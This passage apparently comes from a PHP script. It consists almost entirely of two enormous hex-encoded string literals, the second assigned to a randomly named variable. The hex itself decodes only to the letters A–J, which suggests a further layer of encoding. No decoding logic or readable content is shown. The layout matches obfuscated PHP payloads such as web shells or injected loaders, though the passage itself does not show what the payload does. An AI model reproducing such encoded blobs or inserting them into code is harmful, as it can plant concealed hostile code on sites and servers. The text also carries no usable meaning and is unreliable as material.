8444343444744424349474145434848454244484348484448484546474145444748484843424844484645424741454a434447474841444944434748434248434843454143484444434647454741444448444546434746424444454943444845484445494744454345484542434a46464846444345454344434a444343424348444445444449444443424849434245454348484843424847474448444342484548444541434a44474741484348464542444944494548484444444842474244494847484a48454742484744494746454144434843434a48464444464743494748434443424843444848454342474443454747454645464743474248424348434a4848464748424842434447424444434a43484541484248454845444a434244454442474645434846454a474744434642434548424342484645444348484247454848484344444443454a4446484a4342444645434542484946424741444447484446484243484445484548434742454243484544434745474541484245494449484648464548474246474449444748494848444348474448484345424546484148424549454344444449444948464448474645424846484647494746444a43424642434648494745474847494542444943494443454344474546444944474743454143424445434845494443454648444845474348414542444a444743454842444548434848454748444543454a48484445484347464547474645494542444348464343484244464543474845454343444748444745434a45434445484546424647484644474546434445434544444443474745434a4742474945454844444647444541474447434549474748454842444a444448464541434244474342484a4443454347494541434345424845484344424844464745464646454248424444434447414748484446464843484a48434746484a4543434a4642454348474544444647434449454443434448434647474342444446474446474644434843454945494842444644494842484a444543434845444647494446444a464745424545474948494447454248424544454944454848474747454549484645474743434443434343484244494543484648494741484648424543434943434746484346474846434945434642474443434444444a4843464648474846434a4448484748464543444747494844474347494842434344444542474244444749444943434348434a444647494548454a4445474444464348454a4847444443464847454a4541454343464742474343454846484446424743454744424742484a4443444945454542434a484248464647454144424542454a4344434448434647434947454445444447414447474448444741434743484544454943494543434548484846484247424347484843474745484748454542444443494744464648464646434a434845434845444344474349474646474545434a4646444348454845444248474744454245454642474545454445474444484847444a44424842474545474745444648444344474843484447454445454446454348474544444344464343444a474848444646444744444543454147454741444647424744444a44474543484a43464748454243434448474548424642484a4842484548434448484247474447444344444745454748464342474244484449444643434443484a45414443484348424847454244474747444543494447444643454443454747454841474445444348434444444746474643424345454148444849484148464542454848444843454248494346484548454443474145454741434247434349474944454343434248464444444744444545434a4348484544424646454547444842444347434843434647474647484444444545464248444344454a474447474541484447454449444345424343474743444342474547474442454545444448474544434647444745454349474444454642454244434844454245434743434945494848484446424449484a454648444742454a4842484446424841434444474543444544474446464644484542484245424446444544434844454148494348464245474647474444434747454545424747454347444748484443434446464648434748484347474845434743484742444248464342464645444449444a454143434448454243424443454344484745484a4842464643454543434243424446434445424342454a44454746434344464743484648454443454447444846484644484748444943444449434645444546484a484a48444741484344454849434a4348474144464447444a454648414745454243454546474448424445434446464743454243424446434248454642444648414446484643484444474248464449484743464349444345424448434248464344484148424844434a44444845454248424342484845424744464744464844454a434247414843484744464743474444464442454644474541474448414843454347454841444348464343444747454545444648434447444348494545484848464845484a44424344474944494744464748434541464748464742454845484447464744434444484845464448434644454448454745474742434244454842484443484444444745414547444647484847434a44494845474943444848474343474748444a43444545484348444844454444454345484847474843474347454346484246474547474648444344444347434549484448484342444a4849484548464747454948444443444a4741444a4841444646464841484348414443454347474542474148424549484445424741454544444542484645474543484345464646444345464447444644424346484444474347444a4445454243444846434543424741444543464847454a464745434547484644434544474643474646484a4741434648414848474847424842434a43424344474147444343434a46474348484748464343484443434444434948414542484444444842444645414445484243444745484648424843474145424843454248484541484247494545434947474749464247434546464644444746444245484343474943424846444345494744434648424446434943424542484646464347444a4548454348434445434748484749454444434845484348434343454348454449444446424847444444494347484845424748484945464847444244484446444445414449484248434848484944464545474944424445444548464642474648464542484745434543434644434844444643494743444a4741484444464348474744474444454348474647484248494743484544494646434344464542444348414747474448454445484945464544454a444744434443474545444542484a46424444484a484245424548464747454845454a4445484347424345454244444843444648474342434444434443434944434349444545464443434948434548484348424442454348434845484547444343464245484749444643464848454745454443434248484843464245424842454a45434849484145474345444643494447434248444542454345464446444644484747454547414541444346424849444647434748474444494746444645424446434a43494445464643434342484548424449474844434843454a474748454444474548434849434a43424842444a484147494647444243444845454847494845484648454343434247414449454947494842444447494342474143494446464748454846474645494746464243424448434a43424347484847414542444645494843484848454841484a4846484244424747444543424748484444474447454143494548474144434846454743424849484a44494744434445464844484445414842454446464647474944444547474148444349464747494541454148424542454a45444842484344444446444344434844484347484342434843444444484446464448484347454342454a4744454443474443454544454845434647424746434245434446434348464345484146464744454348434546434648494443444444454443444848454343464748424747434a4345484348464443474645424346454143434744454547484846444543424846434945484445454545414843474643454647434248434845444348474842484647474342484445414542444a4542454744454642474644494746434645494749454348494744444348434849474947494445484248414749484546474749474346424443444448484745484748424347454a4447434a4545434745484845484647464842484544454445444245464544434343494343454548464347454748444841454147474642454843424344444348464444484444464345454243454342464244444345444546424742484643454546434245434646474847484841484748484545454544444845484345474843474245434842464645434344484448454843454645484849434647464548454748454547434445424741484147454845434848414642484348484844434944454741484545414346474543424543474748494546444648444343484246424449454a4349444344434642484143454846454348464542484343484446454a45434349454448464844444343454545434547454448444843444848484744474642484a4345474344444747484447424446484747444846454543464549434a4846434a44434845484443494843454848444746454844434842434345464548484a4845434244494346454a484647434347444945414842434743474447474643434842444a434645454448484245454444464243434547454643424349484148484342434a4541454747474743454245454449464745474842434248494448484445494546484a4549474545464447454344464447474844444449444343424541444348444647454a44424345484644454542464244474349454a484a484547474846434344464745444545434349434248434446484143424547484a434345444444434a444943494545454344424848444745444848444443454545474843434843484a48444646484a4647454343424845474143494747474147464848484346424448474445434348484745414847484a4444464745424646434a434744484646474446464443484347454841484645474445454544444548474748454448434547454744484748464541454248444844484343444848454a484344444445444747464744434248444544444948454844444645464542454244474349444647484443454a44434744464644484646444444454548444346464744444547434543454744474845474644434443484a4443444444454547484247484843484a434448464846434843444542474843424846434348494449474443434849444843424446454448474342464747464344484748414449444a4444444945434743434548434544454343424746434346424845484943434549454a4743454645464746484348494447434545454742454a454447494543454a444344434547444744474845474244454546434a47414845454a4744464745424445434243464744444846464449434348434844434645444749484448424741444644454741484548454844434848474843444848414545434a44454348474145424745434a45484548434547484545454843434548484644454443434345454447484645484346454a4544434a454a484348434743484848464542464744444343444243434448444544454845474143474542484a4844484848464343434244444542444244484845484346424343434845434449474145494749454148434842474643444745434448474843444a48444642454447484444434848424342484a454a45424447454643434741434545494347434244454446484143444342454644454748444348484745454944474848484448484748484a4547454a454245444342444748414347464244434343474945414646454646424342474143494443444348494647454a464648414348444247474343474148424747434343464542474347414544454144454343434747494547484444484344454344434845484847494746434245424347474643424542444348444744474443474543474148424349474445474541454643444346474745434646454546464443434743434847454248444642454848474447474143464447474445474442434345424545444348434343484445484647434548464841474346424344484148474445454244454841444948424547434a48454347444748494848484844474443474847454549484a44494542454147454446434a4748474143424347474545424749484548474342454448444342454348454349484447414846474348434442484a47454744484647434842464743494343454348444846474646424847464245484443454344494746434646474445464748474847484a454a454546474845484a45464447484445444542444a474444434844434248454344444446474747474644494445454a434248484345484243434741444844454343434343464848484744484748444747484844484443494444484a4447444a44464841464743484745474643474744484547414847484244434743474743424343454547494843454947464846444445494443444644464342434848424747444a484945434448474244474347434245454746484443444443484743424848434848454845454344454343474545464847444245484841484643424447444443424543454a48434541474147474843434947454542474245454749484444444544454348474542454a48424845464744464542484348424548454645464642434847464747464244444841454a484243434749434a45444849474448434845444548444445474143434445454a47414843444747444842454248484748464243464445484643484849444543474448434744424543464743424748434a484945454842434a44444443484644484845434644444347444343454747444a45464542434a48424342444443454547474445454747474648444642454746424848474648474843434248434844484345494343474344444746444647414544484744494846444648454549444244474346464744434447444743434743434a45494345444a4349444544484447454345444346454647414445484544454343434548444347484443424743474748434342464747434543484a48454445434443454848444846464542454544424841474943454446434a44494749434245424542474743464543464245464342484844464846444245424847434848444741454645414746444345434549454745494743454944474342474845474743434343474444454745464843434a48424445474447434844454a45434846434348414545464247414846454a4345484448494547484344454447434343424344444744454846464645434842434446464545484445424343434944464342444244474843484347434647454844454548454244474443484245474843484548464442474148424642484147484343484347414442444348474845434547414744454648424443484348454842454a454443464842454a4547454a4646454448464345484247454349484943434444444346474848434645484442484a484943464544444847494442454447474841454a4446474845484849444345444642444a48494447484645434445444648474342484a45424542434348424741454148484845484447484845474345494744484448434447464745414543464645464549464248434842484444494449484447474447434845424642484944424846484243474342474848484647434a4744434348434749484543454846454248434545444344444549484645464543444643464845474548464346434245474842484947414346444948454444434448454542474345464646454545484445444443424343454644494342484545454349444848414545484743454646474244474545464744474449434545484743444346464647484544484749434a4847434a4548474743484746444a4348444544464842434248464843444543444844454245454844484243424447444a48464843444246464444484344454747474943464447474744444543474248454442434545444448474545424745444343434447434a45434846474744464448474848444547444944464546484443454444434948424646454147454844484644494846484a4343434448454848454147414549474548454846484444474349484245424544454645434344484544464344444845464442434244484448484648434545434248414444444a4843484545494849444848464543474345424549484248434742434548434841434848454547464644464843474443454542434a4843444444474449484a444a4741484548484448474446474846454544464844474645424842444545424343484448444749434a43434847484543484843454a43484443444344464347484647454541474944434844434248424741484448484849474748454843484a48494443474643484448464247424348484243434442454447444846434247484745444345474845444644464746434345434443484648464749484243424745484648464345444344444348444644474546484547444446434a4744444744484842484843434443444345414347474943444844484a44484547484547474542484844454749464745464545444845464547484343464342434843454847454545494343454945424844434543474342464243474745444745424843444444434849444847494348444744434741434a4742484446464343464244474445434247464547474648444843484243424542444544434744444943484849454243464346444a4745434248424548454748434849484548424647454a44444443434a444346474846484a44464843484948464442484945414545484544444848484248494544464745434541434548454447444845424743484a4545484647464742434244474542454a4448444948474547484843434445484545444845484648414343474745424841444344434545434248484646484a4843484445464742484243454347444444464845454a4841454944444845464244454448484344444549454544474642444545424642474845494446474244424847474845434849454a454a444948484544434547454748444847444845434945424446474448444841434343474849484745414446484a474648444849484447474348484744494343444847464647444643484443484844434845434344444546474948414342484348444844444748444646444343454843454147424741434346424748484245424746444a47424844484345484446434244474449454444434742484144494545434a4541464248484847474644464842464744474745484344494447454145454546484344444842484348414442434944464349474744454848434948454542444748414848454944474443444744474443444a444348424448484847414348454344454746434446464343444346424745474543474343434247424542454744454845444346474845434a45464849484848424444454243424744484344484845484845434841474945444846444743474842474848444449464748434447434948484845454747434349444345414742474148424444444a454a444345434446484645434541454a44474845434944434349444743444343434a45424542444a43444348444648454848474247424445484248484842434a434248454745444948494542474143474446484144454342484a4848434247424846454643464448484744464746444648454547444543424747454347484842484244484343454a474148424344484245424445444544434848474646464842444848464749434a4448484248464646444644494744484346474442444346474841484748434445444743484445434247444549474145464445454343494443454448434449444443474542484344454349434743494345434347464642454944494447484944474744474448454642484148464342434846464547444344444444444247484447454648444848434348434744454543464545454248464541454447474647444844444843464748434344454a4647454647414346454348494546444a434544434647484543424845434448444347484343464743484347494547454548424749444648434741484444464543484a47484545484747464444434244434845434748464444474443434847444443484547444a434a4447444a44484342484843454743474943424343434648454446484143424343444344424347484a444345444843484445494849434545484741484a434245464542474343434546484444454845444548424841434648494846444747494542434248414343464246474543434743484442434248474746474845434846454543424544444a46424841434748424849484643484843484445454748444845424846484a434443444747474945424348454a434344474742484145434548454a43464447454647484546454143424547454547484542484248464343434343424444434645424445444545414842474848464348434344434849474444434747434a48424748474243434745474548424845434a474448434842434844434849484344444346474248454543484a43424445464644494642484744494647484a48474343444346424746484244474546484948424647464248444546484a4647454248444447444344454349454a434a484746474842484745434742454245434542454448474842434a484643434343434343434543454348434443434244454749484643454347434745474347454146474444484547424445454a434243434346484a444344474549474243454443454246424547484244464646434845434544454347414842434944454845444644454348484643424543454647484446444543484845464647424344434648424547434243434647444a454945424349444843454346464243464646434944464347474844434646444548444348484645424841444648444543444947414446484848414448444443424449484244464342484a454a484444444445484544424748434a46424348454147444444444345424745484545474446454a4443474447464849484545434344474148494347484a444845454442454144434745454648444842434443434849454a44424844484647414642474548434745444648444445434443484443454647444346434243434444484446424348454a474347454342444344434544474944454449454448454747444648424345444944434449434a4646484548414741454a47444842464245424843444648494845434544474346454a484a43424846474748434749444447464447454a464747494444484144434449454a46474548484347484342474248454749474443494442444348474846454144454847484648484445484644484847444548424745464644464542454344454741434a4748444345494848484343424445474746464742484548494542474948494345454a4843484a48424449484646464342434348464746484648494746484943454348484445494443454243424845484246464843484545474843434945494443474444464747444443424844454a4847434a484243434448474444444646444544474845444a444444494442454748444544454548464844454245424549464646424445484343434546464247474342444448454543434844474342484a4844444443424848454a48464546434248444748484646424543484246424345434345454845484743424744444944484642474443434446484648444543434848424443464643484841434a43424447454a44434749434a464745424447444347494349444648424443484345424842484348464445464748444743444344434746484a45444647444347434349444444494747434a484245434445484245424449454247474343444946464742434848424748454548454347484248454746434948454446454a454644484842484248444646474543494841454848464848434a484a4542454944444842444743494542444a44434545484443494445464644454842444647494543464244484845474843474444444a4547474843474848434845434445454644444841444544494349434245434741444644474744474448424444444348464343454148434744474745464348454a4748454445454745484943464847434247434846444343424444434948474445484244434448484248414647474844444542464647484748474845434446484a48454745454343434345454144474741484546424548454a4348444a474943434443444a44484349484946464546444a44454746484146424642484a4542434248454446484548454447434244424447474948434347444944454541484145474745434a444344444442474647474844484544474842454244464742434444464844484a48484744484945424841484a474843434346454744444842444844464742454145484443484a454346464541454243434342474645454443484548454843444647484348454946474842454a47464347484245474543444645424347474348424741434745434846474748424347434247454745444a44434344484647494542474443454848444344464744434348464447444648444847434244484748434944444841484348474344484543484842444746474647434a444a4447484147494347434248444444444a45424445484245444744434245434547444648494745484647474444484344424646434344434349434445414345444a4446434343454646434643434543454345434741444a43424349484244464748444347484741454443424746444645494849484547464647474747434747454443434841484947474447434444424549444a474844434348474848494446454745424845454243454543434945494543484348454841484346464846474343484449484a45434647444443464542444944484442434948434546474148444841434345474444454a454544464846484444464747444743434346434248434447434844464541454a4541484246464448454a4342444a48474343484445454349484248434746474744444541454243454845444648454841454644474444444a4844474448444745484343494841444a45414741444344454743444548424342444745444443444345494546474744474842464644434747444247494647434748464846474848454741454a47414446474145444646484848494845444944444741434746474446484544474843444748494445484243474849444644434443434544484542484645464845444a45464844434643424443454343464841444344434846484448444543474144424342454745484845454346424444444444424842464743424549434244424743474743444845484248484744464746474542484347494842484848424842444543434745454847494449484946424543444944434844484244464447474743434342444346424846444543484343444643464447474348464748464748454548474245424642484a484a43424842444943424541474146424445484747484345444343444746454844434647434a444543434346444a48484447434948424342444343464342434645494445474845434447454443444847434a434444434545474948484842474843424449444547474544434747464446434a44474448444648434745444548444846444743424743474244434347444a484348464345434843424547474943484542444243454844444647474445474948454346444a434a484a4549434345414542444548474545444948444844454144434549444344454549434a4541484648424547444448474343474546464843454348454342484244454846464248424447444548424343454544454342444347444841474544424745464645434841444244474542444548494849444645434548444944434445434344464844434a45414845444548444348454144444443444a44454842454443434343434648454445444747494748444544434842444744454541454648444844454344434845484744464742484445444342484443484646484a46424846474945414447484645434842454a444543434449434243484843474246424749454648434845454a464644424746454847454642484748474845444a44434443484946424847484a484645444347454243484448444643424446444a464746464842484643464845434544474847444546424342464648454744434247414446444945454741454848444846484844454543444647414842444644444642484648454543454347484445454144474445474243494445484344444442484744474442434a4745484245484446444345454343484343424446454843434843444347484443474348464844474945414548454344474442444347424446444645424846444a454645494443434843454447484348444842484646464349484748444541444a43454549444a4346434a48464449454a434347444445474648454542484947414842484647424445444445424343454745474444484145474546444543474743434a484143434342484a47424547454348424848444443434543444643474844454243484842434a454748454841474445454446484a4547474447444342464247464749484948484546464745424443454648424748484348424846434245454543454a434847434744484543434444484848444446474847464443464745484841484248484547484645414748444844474845444648434444484943454445444947454545474544474844444544424847484243474446474946424741484846464445484643424546454545454541454a4845444743444845444745494847434844484646484244464443484446464345484a454746424642454a4446484248424743444445444447444745434343444748444845464744494845484445474847484344434446454145424841434945454841474448474542484245414548484243424843434348444445454a45474845444345444346444647484847474543434647474846424744484244464444";
        $_resxc4ab221 = "484344484842444345444447444a47434842484343454446444743424844484245424443484145494844484347464342444948414746434a45464846434a45474348484148424542444247414347454645464542444548424348454344484542444646424746474944434844434948434446484144454849454a48424849434348434442444643444744454248444848484243434543444348484744434a4545474748464349454144434348434648454344454147414842484548444849444548474344434443474349484643464446464244454543464244474542484745494543434346474843484747454444474546464443434745434543434344444343444248454547434348494443434543424845464645424345484448434449454944434543454745414744484a47434343434345434549444948454647454a45474548434748424343474548464747484648424844454348454542484548424846484544424846444246424748484a47474542474548424449434a454347424845474344454447444243494846434944474546434343434548444945484642484345484745444746424543444443454549464743424847454343444444484a4744474545464548434a48454549474345424446484643434345484247464741484944464546464748474543484a4743444a45424845464248494443454a46464443474145444543444347484849454a4748484245434846474343474548444a4443434a454a474247414445434243494546434a4446434a4842474644464746474844434849484644424547454248464348454445484748484343494845434747414847444743444546434a48444548484643424542434943484344434a484447454749434a43434443484248424841434744434446444a43434548434347494844484344464343484a4845434845464545474145474343454a484243424349444a43454447474143444845484345424749484a474148444347434844474842444a4342434248434447484348454446444a444446474342484445454744474943434346484a474843434742444a4346474145454745464744454746484646464546474848444543444a434245494445474744484445454245424443474643424549444a45434846474244474547464746464447484444424744444748444642444243434546484645414749484447494544444745424543474146474443444a444a484247464543444744434642434648484741434343484846444447414847444a4544434248444846434348474845454543424447444847484647434845424445454648444847444744424448444747424445434244424747444443464346474346464448464248434847444443424445474144494546454244434343444943464542434948414448484545474543454343444446444644454544434546424546474445444342474347464446434645474847454247454744484747494743454245454447444346464842484a48424447474544474449474748434542484a484448484849484143464443484144444548434845464843484a4743444448454348484543474747454247444846444a434948424449434343444343484945434346474848434443444548474742474645494443484648464548444a45464842434848464741484a4443484144464446454a464743444345484547464741454948464446454248414742484945454844484a47474344434a48444647444446464845434a45434748444543424849454444444742454448414848484448434345444847464547434443484346484247484842434348424444484248454342484143474542484948444848434a47424843484644424844484643474742444444454343484248414848484348464842454248424447484a4445444943424843484a43494742444a44454548444744464744484943484742444647464543484943434846474747484843454747494445434644444742484943424745464747484346444545424842434344434844434346474447484744464844434743494342454844464543484245414744454a45424442444445414448484645424542454245444748444a484445484343434843484343444a484445474747484244494845444a444545434745474648454348444644494543454a4443464643494442434444464843454a47474745434446474345484144454748444947464842454243424841434348474841474648414344474745474547454548464647484644444647484645454746454a434744484345484544474741434a4344474743474846434a45424343454a43464547474846424548484447474347444844454541454544464747434a4849444847494342434548464543444348444745454343474746484448434843484747454846454243434348454945424749434444454845444344454845464647434543484644454349454546464443454544444744484443494543484a484444424748444448494848474748464542484844434446454244474542454544444543434a46474741474148464349454a4743454344444841454544474749434948434447444544444646454245424746444445424747484743424843454248444444484348494744454245444346454548454348484a434848484844444444474845484a474943424445454243484845434943484544454344464449444944434445454544454443444244454842444648444846484347454444434a4747484645424745454a4742464648424744434a4646484a4741454243474342484344474543464644444748444945434342444a444748424344484143434842434a484448454447444a484548464544454248474747484644454845454648494546474443494343454a45454748454448454343484548454448454a4542454347464343474647454846444545444548444747484749434a4547434745434444464244474449444344464846484a484247434541454647434345484344474548454548464549484845454743484545474742444748444749474548464841454548454543454544424446454443474546474348464744484347434445484a4444464245454444444346474342474748424348444844434542434247454844484347474543484645464449444445474842444248484543444545474745434248414443484948444343484848454848474648434748454848414846454848454343444744464546434a4745434348434443464745494446484447494445444448454746434543494349434744444842444545414543454643424842484548464545484248424843454548444347484543424846474345444447484648434344434447434342434748464749484443434844484447414746484447454541444545444844444a45434444474544424542484144454741444545434745454a454847494843434244484542444345424845444a434a4744444648454447484845434345434a474943434845484345484746464247424744434943424446444848474349454543424447484a47434741484347434642484843434446434445464542454948414342444847474342454943434542434744434646434944454545434947444542454245454749454245494642474544444745454544484849444648464543474544434343464244484541454243434846474347454843454248434445444743424549454547424543454748444448434a434547434446484348454347434a4345434948484741484a47464342484348444842444648464444434347474841484a454247424443434a454a484348474343444647454745484a44424642464247414742454a4545434244434846444446474848454945424642444748474344434a484a464747434844444344444545444a4346454a4642484345424342454643424346454748414548434543424345484448454848484444484446484a48434646484444444444434848464842454243424446434a454248454449474848464748484643484447434747474443454347434445444a45414746434348484543434a4447454944484848444a48424545444743444549434547454546444745444741434348464444484a43464548454243454845434a4342434647454747484147464347474144444544444a4443454747494545464645474346484645434548444343424646444a434247484443444444474742444347444747454144434844434a4546484545474344454947414846474945474548484644484749484a43454849454a4541434a434343454344484243444443484343494845464648494348474545444748474945444543444547414542444544444546454a47414345434246474448474444454544444a43424845444844474549454546464743484a474943424842484447424849444445494546444345414347444347414741474143434846454145454846444a444448484549454345424543454143474547484744464743454145474546454448444343464644464444434a434744454443474845484544434a4349444947414347484548464342474248464849444244444449484347444845484744424542444544484647434247434846444647444647464744424444484a48474543474448454844484548434347434a44474348474747494445484a44464446444444474842484543494442484a4346434244444348454148434449454a4444454544464541474844474448484845454445434a4447454543484349444847474446484648454449454743444747434545474342454a444745424642454248464545474443424342434a44454447484a444948454348484a48444445444644434443444745424741454144494846434a454248444742484748424446484244464849484643434446444348484844444443454343454348464848474847414447454545474847444348444748474944454745434348424542484a4845454348454342454548474548444543474448464244444443454345474845444a4446484545494542444443484545454747414849454248494741444448474443444743454543444748434443434445424843484843494344434244454748484a48434841454948484447454a4343474245424443484246424343474744474743444748434543444547444845484a44434445454844454543474545424845454645464447464745444846444a4849464243424743434943424348444448494345474443444445454748414542454347494841454747454549444a474748424843454544474445484448454746484a484544424642484147464447454243454741454845454445484643424545484a434248424445484147484343464248474549444a4545434444474845444543434442454a444745494446434744474342444848464747464247424845484746474543454147424349464643464647444344454543444748424647434348424449484646424846464744434546444543434642484845474749484648414847444a454448444443474143424845484346474549454244434444444743444845434546424446464648474845474843484642434647464542444344434446484344444443484346424446454a47474347454243464448444248424843434844454743474944424443444647464846434a45494446484a47414745434743424546464648454543484a434a434648434345474648444343484448444541454a43454349444947414743454948464542434445424844434a43454845444545494642454a48444544484a4545434945424343434448414846434348464845434948474748464247484342444545434843454848484547434244444545484444464847454943454642484a43474848474447454342474648464347444548444745444745474646454645434847434848434743444348464444454745474749484543444849484a48454447474745464742484648474445434843454344474945454541474444494443474246424348454943424344454643494743434343464446484944464846474443444845444848434843474243474447444548484343444748414444454948444849474447434849454943484445464243474842484545434848434a454947414344474747484442454343454442434a484247424343474848414445484448444749434248424541474944484847464743494843484647464345464245414449454844444343444345424342444a484247484542474348424447454945494646484543474549454148464346444544474348434a43434745464748484447434a454a4843444245454347484643494445434a434a4446444a454745464542434a4345444844454347434547494445434348454343434443454343464244474442454748454646474743434342444a444944424742484a48464547444347494545444a484643444846434a474445424343474544474849444a444744424542444547444846484844474844454548494847454248484545484548434545444747424449454a454a484348454845454a444745474445444848494845434244484544444243474544444448424346484348454342444344484549454444434844464247434348484746474545484344454843444547474845484548494548484347414744434644454443444747464841444843494541454a454445474343444745494544484744454747454343464841444a4343474643494547444646464642444448474445444248454749484348444748444348434348444847494445444648414741434348494348454645464748454346474348454745494445474644444549484243474843474448414443464244474346444347444347434a46464846474444464543484a4646444348454345434348454842484443424345434a4749434248414548444644434347434a45424448454146474741454545494445434a4742434445444746484443494543484643494446484748484842484845424444484144464342484344444548444448434446464245434748444948424448434543454749444a4542484548444541454843434547464244464547474147444847474145414747444548454548454343444847444843454845444545434849444647474841474544464846434347444449434445424445434544434446484145434842484945494847484548434542474847484342444448434748464748494841454543464348444745494445434248474845454a454347484542444843424845454745424343444a4847484144434746474348434446444944474445464648474543444445484545484348414646464645414442454945484344484a4746444743434447484543474749474347484545444a44464348434743484846444246464345444a4542474245494841474445484449454344484346484345424345484644454443484644454346464748464344464244434546434345434549474545454846444844484741444a4347484343464343474747454844484a48454346444644454746434745494547464644464843434947474444484844454349444343484544484545484748454547464646454a48444446454443484745434a434a434446474445474648444445484a48414541434544474342454348424443444645444443474745464342434a47454542434944454444444847414747444543494548454547494447454344494843434644434447444543434744484a44444742454347484847454545414748484a44434647454a47444541434a4646434243444742454348444447454a484443434348454547464548484248444842474745424445454948444448464248464843444a44474446444345444445454a484a44484444454644494849444446464841444a44444742484a44444743454848494842434347434449434244464443444544434342444643434442444848454543474544464349444548464842444343434543444345414744444847484344474844474842474648454344434445494542434947464346444a44454743444744454445484243434445474944464845484545414546444648424748434a48454544454448424746484244484448454248444342444645434543464747454743454148434443474445494542444844424343454745434447474647494444454245424442454544454545454948424349434347444741434247464345484648444546444443434846434a48414447454a484448424343434444454749444545434446454645434845474945424546454a45494747434a4542464745414342454843454842484843444844484244434848454648414444454243454841474845414647464245484742444748424342484343434745434a46464845484648444443474544424443454145454843484448494846444945454549484845424543444a434948434743434646474842454547484845484647494542484647494548484644434743444645474443434344494542444645454542454a4846444a454348494445454743424843484243434348484243434542484a4642444a454a444544454844474747434348434248444349434243424844434343454846454347444848454348484741454145424748454248424744474944444744454743474343444a44454542434548414744464644454642454348454347484245494841434347454443434344484741454346424544434248464546484a47444343484448484841454948484845484346424544484a444a4348474648434549474644494646484645414543444448454342434244494342474848424547454a4444474148464447434843424843454848464349454248444542474745484541484645434343434543434849434245414547434a444444494542454247434541484a4547434748434844484745454546444444444542484447474348444845434842444944444844464745474548444a444246474344484644444745434a484248434348444445454842484a46464742464746424847484a44434345484a454245414545434545434543434a454a454748454742434a43424343484445444347484545464842444648474546474243464347434245444746444a4343454944494447444548454449484248424546484445474642444a454948454448434545454747454348474846474543424443434a4646484948484349454a444a4443444643424445474646474542444344484849434a4745484748454849474448424642484844474845484343424445484444464745434a4543484245464346444348464646444343424846444448454742444643484547434a46464844454543424445434447494646444344434847434744424446434344444347484543424747484a484645454444454a4745454245424846454945464447444746464846434a45434349484647424748474247434542434748434448434247464449484344494848434a48434646444a454248434749454844424545484a45464845454248454447444547484842484647464349444348454349484643434344434a454a4347474647434842484243484445444445434642434748464646454647414543454148444744444a484445414647454847414549444345434647454543454845454248494542434a44434447474144454846434444474343444648424748484548424546444645474543444248474843434244464447484444444545434248424646484747424542474743444343474848424741484745444446454143484845434643444846444a44494843434a47414442484347484541484a454347464646454547434443474245434848434647494445484245444444454543434347444745414848454a48454542434245494443464647414544464245414749464644474444454543474848474448484842474848464548444a4647454444464344484a444948434442444743474443434945424542444748454849454945434344484444434749454a43464543444644484547444747434347444a44424846444544494446434745434844474448434842434248414544484a48474549444a434543424841434847414443484443444842454144424749484347414542434547484447444747414442444648434647454648434543464244454742434345474744434243444449484244444844444748434741434a4646444a4444484344474443444644444748454243424846444446424845454647444445484545424445474943424446444248434543444648424447464743494545444348434445444348454543474443494846464648464844434a4846454748454541484443484542454a4844444547414449484444494446454248454447454745464344434344494445454748444741454a45424543434548444846434944444347444a4447444546464848484548484344434244464646444448424547474944474843474448434749474544454844444a4845474648434543484744454743474943424647454144464548474648474845474145444843484446464543474245434542444444474347484748464444474947414442444645434344484748414543454245434343444945444842454a43474444444347464345454244434444474448424541484448494448484244464746444a44424348464748484847484748484842484a4445444643444842434445464349484a434343434741484348464542454643454846434844444443454a4548484944444745454848464845454644474442454a48444741474543464545454143424844434448434349464748474842444747484342434345444647454348494749434244474845454548454843454743464542444a444843434842444a4342434547424847444548454446474643464846444945484844444944454745464743444543474144434744464744474747444a4841434848474444474445474443474748414447454a484745434342474344444642444946464444454a484444444443454245474543454a454a434548464346434245464541434848474445434548484647454a4544454245444542474948474448444a434846424347444448454747444344434642444345454843444744444543484446464442474843484445454248424746434a4542484a44434448454344474749454a4846484944454342484348494845454244454846454144444847454a4543484a444245434443444848434444484844454547434a4345454245424549444345434844484944454843484543424349454a434944434741484a484448414746444344464446434644464846444448474345484945424547484248434344454943424443434547464548464248494547444343474746484444424749484546474549434a454a45474343434947454843484647414447444944494849434a474848424546484548424346434545414544434545464543454347464842474947484543464745424349474144434445484a4741484444494445444a444445484346484a4841434a4842454a45464845444245474345484748464845444744474547444445434843454943424848474548424448484a45424343444547454542444544464842484448414444454346424842444348444842454a4843454447484741434a47424449484a4841454344464841444345494343454844464846484443474845484147444843464647464744454a484244474545484a4543444a434a484445424449484543434842484247414344444a4742474645484742434843434546474547494642484a4748484244424746464248464844434744474747434745454342454247484448454a4446474444464744484248464349484744454748434743494347484244444446434a454544484845454a48454844484248454447434347424742444645474844474147424443454647464846454344454445484344494342474946464842474843484541484a4846434a44484443454948474741454244434548484244464746454143434443444948424846454445434545484648444646484244464542484a4841434347424443484448414446454448414849484644464447454243494646484248424544434a454447444849474944444845444545484542484947414542444644444543454a4744474248464542484a4342434a4444454644424448454a454343484343444248414446434243424844434a474943454846474943424846434347454841444648414443484848424444484a44474347474247454844484743424745434546424742434247414545454348424444434245424348454148424846444444444845474248474548454643454448464645454542444445484446444644494443454345424545454643494445434645454345434a48444445444448434447444844424347464745444343454a484444434743444a454245444745484343434845484544484741484a4844474848454344484a4845464743454741434443424742434a4745444645464342484943434446474847424742444847484446474843474443434343424442434345414743444743464449484645454749484848434442484a484944444445484844494342454a484343474443444547444449484a484248424845444245414745444a4444464243494845434843424845444843434748444644434845454243434347444547434543484346464345484747424443474448434342434346464745484645424349454344434443484645424446434a4545484145464444454448424342434a464644434443474348414542434a4442444644424449454343454747434a44454545474946474344444744454845434348434548484348484842444543434844434344464848444444454746444546474349454143444446454645444445444544464444444745494746484a4444434848454746484543464343444347424845454843464541434343424647484247454544434748464847474547494444454945494342484a4349434248414642454243444342474247464447474645454442484847494543454548424446444843434347484647494849484543444847484745494343434347434844434a43424543444543494849444a454744474842454745414847444343434443444545434549484843444547474245434647474743424347484248424747434248444744434345454345454645444745434243464843454648454544434948464549484444444848444343434546474745434445454a47454446484a4844454a484a4442454145424843444244454846474348434343484343464445444443454845434548444342444544474443484247414745444a48414446444548454445484a4345444843474844454a44484843444744494846484948494842484243444749474443444843474744454345434a484945424447444748424342434447434346454645424543454a4445474645464548434744474446454448454844474448454444484147484846454a474647434843484348454542474944454842434243424741474448434842484745484843454a434a43424542434248414843444a4843434344444845484548464443434243434347444547434846484543424749464248464348484a4345484748474444474247474444474343454849484643454342464247484446484448444548484744444542434944494845464748454749444348424347484a47454443444443484343484544424748484a43454447444a44464748474548434746444444474447444345424748484545494843464743484646454a48414546484548434842484345444745474445434344474847464745444844494344464644434742434948414448464246474543434344444844444648424447454547454542484644434344484445484446444744464545484a434944454842454343434848434a4349454345494443434a47484749484a4742454243434542434245484343434745464547454a